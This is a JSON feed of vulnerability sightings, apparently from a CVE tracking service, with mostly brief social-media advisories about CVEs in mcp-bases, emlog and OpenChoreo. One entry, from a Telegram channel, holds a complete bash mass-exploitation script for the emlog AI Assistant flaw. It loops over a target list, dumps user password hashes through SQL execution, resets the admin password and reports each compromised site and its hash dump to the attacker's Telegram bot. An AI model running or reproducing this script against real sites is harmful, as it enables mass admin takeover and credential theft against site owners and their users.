{"vulnerability": "CVE-2026-7384", "sightings": [{"uuid": "92532cad-59b1-4c24-8620-ae3a988ab819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-7384", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mknq7z3zed2v", "content": "CVE-2026-7384 - ezequiroga mcp-bases research_server.py search_papers path traversal\nCVE ID : CVE-2026-7384\n \n Published : April 29, 2026, 3:16 p.m. | 1\u00a0hour, 1\u00a0minute ago\n \n Description : A vulnerability was detected in ezequiroga mcp-bases 357ca19c7a49a9b9cb2ef639b366f03aba8...", "creation_timestamp": "2026-04-29T18:30:48.822593Z"}, {"uuid": "f113bb8d-8471-4b4e-ae6f-401e9a125411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73849", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt2t6zaamo2p", "content": "CVE-2026-73849 - emlog\nEmlog website builders are at risk of having their configuration files overwritten and new administrator accounts created if an attacker submits malicious data to the install.php page. This is a\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#emlog #CVE #infosec", "creation_timestamp": "2026-08-14T18:50:06.327316Z"}, {"uuid": "8367d7b1-d0b7-41b9-b01d-2e6e251fbc29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73849", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/d3fnour6j45st", "content": "CVE-2026-73849 - emlog allows unauthenticated reinstallation via `install.php?action=reinstall`.\nCVE ID : CVE-2026-73849\n \n Published : Aug. 14, 2026, 6:19 p.m. | 16\u00a0minutes ago\n \n Description : Emlog is an open source website building system. In 2.6.26 and earlier, install.ph...", "creation_timestamp": "2026-08-14T19:10:32.750530Z"}, {"uuid": "3d28d5a9-efd7-480c-85ae-b65138eee43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/4yiga7czvu423", "content": "CVE-2026-73847 - Emlog: Missing CSRF protection in AI Assistant execute_tool leads to full database compromise and admin account takeover\nCVE ID : CVE-2026-73847\n \n Published : Aug. 14, 2026, 6:19 p.m. | 16\u00a0minutes ago\n \n Description : Emlog is an open source website building ...", "creation_timestamp": "2026-08-14T19:16:33.256921Z"}, {"uuid": "c12cc328-a131-4ff7-8bc8-1fabd9fab08a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "Telegram/ynjmqxzp7YI_R9qKJrdTzR8VpgA8NU0utxNDhQb71CparQc", "content": "", "creation_timestamp": "2026-08-17T18:00:05.579578Z"}, {"uuid": "505adf57-c059-4642-bc12-f8dc842006cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "Telegram/psShhqFGmsW7Zu1QfEmheOdGYUcEaP4Ivd2AB-NkVeHuutw", "content": "", "creation_timestamp": "2026-08-17T18:00:05.838179Z"}, {"uuid": "1d1af080-6b69-4a41-b177-ace3951fa4e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "Telegram/psShhqFGmsW7Zu1QfEmheOdGYUcEaP4Ivd2AB-NkVeHuutw", "content": "", "creation_timestamp": "2026-08-18T00:00:10.413517Z"}, {"uuid": "ab2fa38a-a810-414c-b353-4348a5359266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "Telegram/ynjmqxzp7YI_R9qKJrdTzR8VpgA8NU0utxNDhQb71CparQc", "content": "", "creation_timestamp": "2026-08-18T00:00:10.636696Z"}, {"uuid": "2a30469c-58d6-4fd0-9a78-a641eb95cdd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt4v4w7idc24", "content": "CVE-2026-73842\nOpenChoreo, a Kubernetes developer platform, had a security flaw that allowed anyone on the same network to access sensitive data, make changes to workloads, and execute commands. This flaw has been fixed in\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-15T14:30:03.551409Z"}, {"uuid": "ab83d444-3794-4869-9874-840cc20e2efd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mt4v4wrh3g25", "content": "CVE-2026-73843\nOpenChoreo's management APIs are exposed without a password, allowing anyone with network access to manipulate data in Kubernetes clusters. This can lead to unauthorized access to sensitive data and potential\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-15T14:30:04.084409Z"}, {"uuid": "9a706f4a-ee1d-4c0e-ac93-8a292384b732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msyqq3ibuy27", "content": "\ud83d\udd34 CVE-2026-73842 - Critical (9)\n\nOpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.3, 1.1.3, a...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-73842/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-13T23:00:39.262329Z"}, {"uuid": "e8e0d448-927a-4fdb-b005-57e67093827a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msyqqcn7xv2l", "content": "\ud83d\udd34 CVE-2026-73843 - Critical (9.6)\n\nOpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.2 and 1.1.2...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-73843/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-13T23:00:46.664363Z"}, {"uuid": "821e54f7-c9ea-4c5e-86fd-248bd7550f18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73842", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msyraxbbzd2y", "content": "CVE-2026-73842 - openchoreo\nOpenChoreo, a Kubernetes platform, had a security issue where anyone could access sensitive information and make changes to connected systems. This has been fixed in versions 1.0.3,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openchoreo #CVE #infosec", "creation_timestamp": "2026-08-13T23:10:04.465812Z"}, {"uuid": "d3ebb238-9c06-454e-b9ea-f259f64e0e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73843", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msyraynown2e", "content": "CVE-2026-73843 - openchoreo\nA security issue in OpenChoreo, a developer platform for Kubernetes, allowed attackers to access sensitive data and execute commands in workload pods without a password. This issue has\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#openchoreo #CVE #infosec", "creation_timestamp": "2026-08-13T23:10:05.794684Z"}, {"uuid": "b6345856-5e2a-4c65-888e-3c45f8c932da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73841", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msyu3hbksu2r", "content": "\ud83d\udfe0 CVE-2026-73841 - High (8.8)\n\nOpenChoreo is a complete, open-source developer platform for Kubernetes. From 1.2.0-rc.1 until 1....\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-73841/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-14T00:00:41.969525Z"}, {"uuid": "c2635842-85a9-473b-869e-425d41be8b14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73841", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3msywtf7dtm2n", "content": "OpenChoreo Bleeds Out While Everyone Pretends Kubernetes Is Self-Healing\nPANIC 68% | Lag 0.0h | CVE-2026-73841 is a high-severity vulnerability in OpenChoreo, affecting versions from 1.2.0-rc.1 on\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-08-14T00:49:51.684389Z"}, {"uuid": "7dcbe278-ee24-47df-9d15-b77bc6475f40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:08.226669Z"}, {"uuid": "cf82d32a-b13f-4b33-8a38-500412b998be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-23T00:00:32.856302Z"}, {"uuid": "160066cc-588e-4662-b1e7-0b27abde4bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "seen", "source": "https://t.me/blackmrkt1337ch/1915", "content": "Emlog PoC by HanzOFC\n\n   \u2014\u2014-> Good Luck\n\n#!/usr/bin/env bash\n# CVE-2026-73847 - emlog AI Assistant CSRF -> SQL execution -> admin takeover\n# Mass Target & Telegram Notification Version (Config Inside Script)\n# Usage: ./poc_mass_tele.sh targets.txt admin ''\n# Create by HanzOFC\n# Telegram : @xpenzzz // YouTube : @HanzOFC1337\n\nset -uo pipefail\n\n# CONFIG TELEGRAM\n# ^^^\nTELEGRAM_BOT_TOKEN=\"Your token\"\nCHAT_ID=\"Your ID\"\n# ^^^\n\nTARGET_FILE=\"${1:?usage: $0 targets.txt admin_user admin_pass}\"\nUSER=\"${2:?usage: $0 targets.txt admin_user admin_pass}\"\nPASS=\"${3:?usage: $0 targets.txt admin_user admin_pass}\"\n\nNEWPASS_HASH='$P$BMHfYr.J6nlfVxloh38biIBNFq8fvF1'   # PHPass hash for \"HackedByPoC123!\"\n\nsend_telegram() {\n    local message=\"$1\"\n    curl -s -X POST \"https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage\" \\\n        -d \"chat_id=${CHAT_ID}\" \\\n        -d \"text=${message}\" \\\n        -d \"parse_mode=Markdown\" > /dev/null\n}\n\nif [ ! -f \"$TARGET_FILE\" ]; then\n    echo \"[-] Target file $TARGET_FILE not found!\"\n    exit 1\nfi\n\nsend_telegram \"\ud83d\ude80 *Start Mass PoC CVE-2026-73847*...\"\n\nwhile IFS= read -r TARGET; do\n\n    [[ -z \"$TARGET\"  \"$TARGET\" =~ ^# ]] && continue\n\n    echo \"[*] Processing target: ${TARGET}\"\n    COOKIE_JAR=$(mktemp)\n    ATTACKER_JAR=$(mktemp)\n    \n    AUTH_RES=$(curl -s -c \"$COOKIE_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=${PASS}\" -d \"resp=json\")\n\n    DUMP_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode 'params={\"sql\":\"SELECT uid, username, password AS pwd_hash FROM user\"}')\n\n    UPDATE_RES=$(curl -s -b \"$COOKIE_JAR\" -X POST \"${TARGET}/admin/ai.php?action=execute_tool\" \\\n      --data-urlencode \"name=query_database\" \\\n      --data-urlencode \"params={\\\"sql\\\":\\\"UPDATE user SET password='${NEWPASS_HASH}' WHERE uid=1\\\"}\" \\\n      --data-urlencode \"confirm_code=confirm\")\n\n    FINAL_RES=$(curl -s -c \"$ATTACKER_JAR\" \"${TARGET}/admin/account.php?action=dosignin\" \\\n      -d \"user=${USER}\" -d \"pw=HackedByPoC123!\" -d \"resp=json\")\n\n    if echo \"$FINAL_RES\" | grep -q '\"code\":1'  echo \"$FINAL_RES\" | grep -q 'success'; then\n        TELEGRAM_MSG=\"*SUCCESS: Target Compromised!*\\n\\n*Target:* \\`${TARGET}\\`\\n*New Password:* \\`HackedByPoC123!\\`\\n\\n*Hash Dump Result:*\\n\\`\\`\\`json\\n${DUMP_RES}\\n\\`\\`\\`\"\n    else\n        TELEGRAM_MSG=\"\u274c *FAILED:* \\`${TARGET}\\`\\nResponse: ${FINAL_RES}\"\n    fi\n\n    send_telegram \"$TELEGRAM_MSG\"\n\n    rm -f \"$COOKIE_JAR\" \"$ATTACKER_JAR\"\n\ndone < \"$TARGET_FILE\"\n\nsend_telegram \"Exploit End\"\necho \"[*] Done. Exploit Success.\"", "creation_timestamp": "2026-08-28T04:00:05.417840Z"}, {"uuid": "0af616ad-1510-4861-9395-e90b20dfb82e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-73847", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98270", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-73847-emlog-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a squeeze440\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 04:38:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-73847 - emlog AI Assistant CSRF to SQL execution to admin takeover (CVSS 6.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T00:00:10.896277Z"}]}